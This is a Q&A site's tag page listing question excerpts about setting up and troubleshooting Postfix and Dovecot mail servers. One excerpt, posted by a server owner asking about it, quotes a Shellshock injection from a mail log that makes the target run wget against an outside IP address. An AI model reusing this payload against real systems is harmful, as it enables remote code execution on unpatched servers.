Open source email server for Unix

learn more… | top users | synonyms

0
votes
0answers
5 views

Setting up postfix

I am trying to setup mail server on my Amazon EC2 following this guide. But when I came by step 12, I ran into a problem, that it does not seems to have 250-mail.domain.com in the ehlo-result? Which ...
0
votes
0answers
20 views

I can't restore Maildir after new postfix installation

I have installed postfix on new server and working fine . But when I restored the old MAILDIR it's shows some error ..any idea of fixing this ?
0
votes
1answer
15 views

Transfer mails between two servers

I have two servers running on Ubuntu 14.04 . Postfix and Dovcote installed on both. Mail server is running properly on both . I want to transfer mail from Server 1 to Server 2 . Can anyone suggest the ...
-1
votes
1answer
21 views

Postfix SASL Authentification not applied

I've a problem: I set up a Postfix and want to apply SASL user auth over cyprus. But the Problem is that Postfix won't accept the SASL auth or even the TLS encryption which i configured. In the ...
0
votes
0answers
17 views

Uncommon logcheck mail

I have my mail server set up to send logs every hour. It is a squeeze/sid on Postfix, Dovecot, Apache2, Amavisd-new + SpamAssassin + pyzor + razor + ClamAV, Mailman and Roundcube (webmail) Debian ...
1
vote
0answers
10 views

How to install cluebringer on 14.04

I've done an install of Ubuntu 14.04 on a system which will act as a mail server. One of the bits I want to install is "Cluebringer" policy daemon. I can see there are postfix-cluebringer packages, ...
2
votes
1answer
3k views

Postfix relay access denied, NOQUEUE: reject

In trying to set up Postfix to use dovecot for SASL (using mysql for virtual_*) I am unable to send email, either through telnet or Outlook, to a domain other than the one that is on the server. I am ...
0
votes
0answers
13 views

Help configuring postfix locally

It's my first time configuring a mail server so I'm having some problems. The situation is this: I have 2 virtual machines (V1 and V2), both connected on the same network. The idea is that V1 send ...
-1
votes
1answer
12 views

postfix connections from unknown hosts [on hold]

I have seen connections from hosts I don't know in my mail.log, here's an example: I've modified the host name to be "myhost" for easy reading My question is, is someone trying to send emails using my ...
0
votes
1answer
58 views

Postfix + MySQL + dovecot + postfixadmin - mail arrive to local users

I'm trying to set up a mail server with virtual users. I can: login in roundcube, send mail to gmail but when I send messages to my own domain, the mails arrive to local users. Mail was in ...
0
votes
2answers
97 views

Cannot send email on Ubuntu 14.10, Postfix and Dovecot

I am having trouble setting up my Ubuntu server installation to send/receive emails. I am fairly new to all of this so I apologise if I have not provided enough/correct information. Please do let me ...
0
votes
1answer
14 views

monitor outgoing email

I have a VPS and recently I found some unusual activity looking at the /var/log/mail.log and so I installed pflogsumm to send a daily report and got this: Per-Day Traffic Summary date ...
0
votes
0answers
8 views

forward an exact copy of all mail to second arcive mail server [migrated]

I am setting up an mail server with postfix at the moment, and I am almost done with it. But i need to archive all incoming mails. My first setup was to set the sender_bcc_maps parameter and the ...
1
vote
1answer
29 views

Multiple messages to recipient_bcc_maps and sender_bcc_maps with Postfix while using amavis

I have a problem to configure my postfix. My aim is to have a mail-server which filters spam and virus mails by using Spamassasin and ClamAV via amavis. Furthermore i want to archive a copy of each ...
0
votes
1answer
32 views

how can I redirect all mails of my smtp server on only one adress mail (using roundcube)?

I have install postfix/courrier to send and recieve mails. I use roundcube like webmail to watch it. I have configure postfix with mysql DB, and create "contact@mydomain.com" adress. There is ...
0
votes
0answers
37 views

dkim and SPF ok, but domainkeys=neutral (no sig);

I just want to know how can I pass state "neutral" to "pass" for domainkeys=neutral (no sig); (And please don't answer: "dkim is used not domain keys")
0
votes
1answer
21 views

How can I install apt packages non-interactively?

If I run: sudo apt-get --yes install postfix or sudo bash -c 'yes | apt-get --yes install postfix' an interactive prompt appears to configure postfix. I need to automate the installation of ...
0
votes
1answer
24 views

PostFix hostname

I'm new to postfix and was wondering what hostname I should specify in my main.cf file. Is it the VPS hostname? or I can use one of the domains I host in the VPS as hostname? I'm trying to set up ...
0
votes
1answer
3k views

Cannot open mailbox /var/mail/USER: Permission denied No mail for USER

When i run the command. su - fmaster mail I get the error: Cannot open mailbox /var/mail/fmaster: Permission denied No mail for fmaster also i sign in as fmaster. terminal -> mail. ...
0
votes
0answers
29 views

PHP not sending mail? Works on phone, and other applications

So I have an application (WHMCS) and it does not send mail. I get this error: PHPMailer Exception - SMTP Error: Could not authenticate. It uses PHPMailer, I get this error from it when it tries to ...
0
votes
0answers
24 views

Cannot authenticate with SMTP server

I've followed a tutorial I've found for installing a mail server. I'm using Ubuntu 14.04.1 So far, all I've had to change was the /etc/postfix/main.cf file, as per a comment from the article. ...
0
votes
1answer
89 views

Why can't I get a telnet localhost 25, ehlo localhost output of 250-AUTH?

How do I get a telnet localhost 25 output of 250-AUTH LOGIN? Similar to the questions asked here and here, I set up a Postfix-Dovecot mail server using Ubuntu 12.04LTS and can not get it to ...
1
vote
1answer
4k views

Setting up Postfix with amavisd-new, spamassassin, clamav, and SPF checking?

I am working on learning how to setup a mail server and have a question regarding the use of mail filters with Postfix. I am looking at the following guide (as well as a similar guide on the Ubuntu ...
0
votes
1answer
56 views

Dovecot doesn't start

I've installed Postfix and it works correctly. I've installed Dovecot and set it's configurations too. But when I try service dovecot start it terminates on startup. Here is the end of syslog: Nov 19 ...
0
votes
1answer
21 views

Dovecot delivery issue

I'm using fictional email address username@domainname.com for this case. testuser is a local account on my ubuntu Server 14.04. I have a fully functional email server set up using postfix and dovecot ...
0
votes
0answers
36 views

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot i am using pop3 port 110 and smtp port 587 i can send emails to external emails i can receive emails on the server ...
0
votes
0answers
120 views

DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
0
votes
0answers
31 views

Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
1
vote
1answer
37 views

email - Postfix name issue with using $header “name <email>”

I've set up Postfix on my Ubuntu+Nginx machine to send mail and I'm running in to one issue. The issue is that the from name is www-data with the email ...
2
votes
2answers
40 views

how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
0
votes
0answers
93 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
0
votes
0answers
15 views

Can postfix receive emails on it's own?

I am configuring a Postfix server right now and want to clear up some things I am not quite sure about. For what I know Postfix is a MTA (Mail Transfer Agent) that can send and receive emails. That ...
0
votes
0answers
21 views

Dovecot mail delivery location issue

I just setup a mail server on my digitalocean.com droplet. It is using postfix, dovecot & mbox. I have it configured in gmail and it is sending and receiving. The problem though, is that when a ...
0
votes
1answer
98 views

Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
0
votes
0answers
56 views

Postfix - Cannot receive emails

I'm trying with no success to setup Postfix on my server so I need some help (first timer here). Basically I cannot receive emails from anywhere. If I send an email to myself or to another address ...
0
votes
3answers
341 views

Postfix/ Dovecot and MySQL

I have an issue in authenticating users using postfix/ dovecot with mysql at ubuntu LTS. Outlook connected to the server but got error for authentication. below is posfix configuration settings: ...
1
vote
2answers
168 views

How to make crontab email me with output?

How can I make crontab email me with the output of its jobs? I have MAILTO=redacted@yahoo.com.au above the jobs, but it doesn't work. I know I need to use something like Postfix or Sendmail but for ...
0
votes
1answer
530 views

postfix warning messages: override earlier entry

I have configured postfix with satellite configuration. I found the following warnings in my syslog. Any idea what it means? and How could I resolve this problem? Jul 16 13:39:24 mou-lanister ...
4
votes
1answer
1k views

Postgrey - how to add sending server to whitelist to disable greylisting

I'm using postgrey on all my MX servers (main and 2 backups). I need to disable greylisting on a main server when receiving mails from backup server. How to do that? When I add IP/FQDN to ...
0
votes
0answers
31 views

Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
0
votes
0answers
64 views

Does someone have access to my server's postfix?

How can Google recieve emais originating from my servers IP address, unless an attacker has access? So how do I prevent an attacker from getting access? I'm very lost... short log from ...
0
votes
1answer
432 views

Fatal: No SASL authentication mechanism

root@server:~# postconf -n append_dot_mydomain = no biff = no broken_sasl_auth_clients = yes config_directory = /etc/postfix disable_vrfy_command = yes ...
1
vote
1answer
451 views

Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
0
votes
0answers
64 views

How to add a sender header to emails sent by postfix 2.11

I'm not getting a reply after sending a mail to autoanswer@vger.kernel.org which I need to verify that my domain richtercloud.de served by a postfix 2.11 server on Ubuntu 14.04 can be used for ...
0
votes
2answers
127 views

postfix/submission/smtpd Relay Access Denied

Getting error 'Relay access denied' At outlook, set port 587 for smtp and 993 for imap at Ubunut LTS. My configuration is: root@server:~# postconf -n append_dot_mydomain = no biff = no ...
0
votes
1answer
2k views

Postfix Using Gmail Relay: Must issue a STARTTLS command first

I get this error: Must issue a STARTTLS command first with all sent mail. Can anyone see why? main.cf: relayhost=[smtp.gmail.com]:587 smtp_connection_cache_destinations= [smtp.gmail.com]:587 #TLS ...
0
votes
0answers
30 views

Configure cron to include FQDN in email

We have machines named like so: serverA.subdomainA.TLD.co serverA.subdomainB.TLD.co Works fine for us, except when I get an email from cron, the messages looks like: From: root@tld.com ...
0
votes
0answers
92 views

Postfix Joomla Mail Configuration

Hello I am trying to setup mail configuration for Joomla. My server has postfix/dovecot installed and working. (I can receive and send mails globally). I can send an e-mail successfully (I received ...
1
vote
2answers
2k views

Perfect forward secrecy in Ubuntu 14.04 default installation

Does Ubuntu 14.04 support and enable perfect forward secrecy ciphers in the default TLS configuration of servers such as nginx, dovecot and postfix? Previous versions of Ubuntu such as 12.04 did not ...
1
vote
0answers
88 views

Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...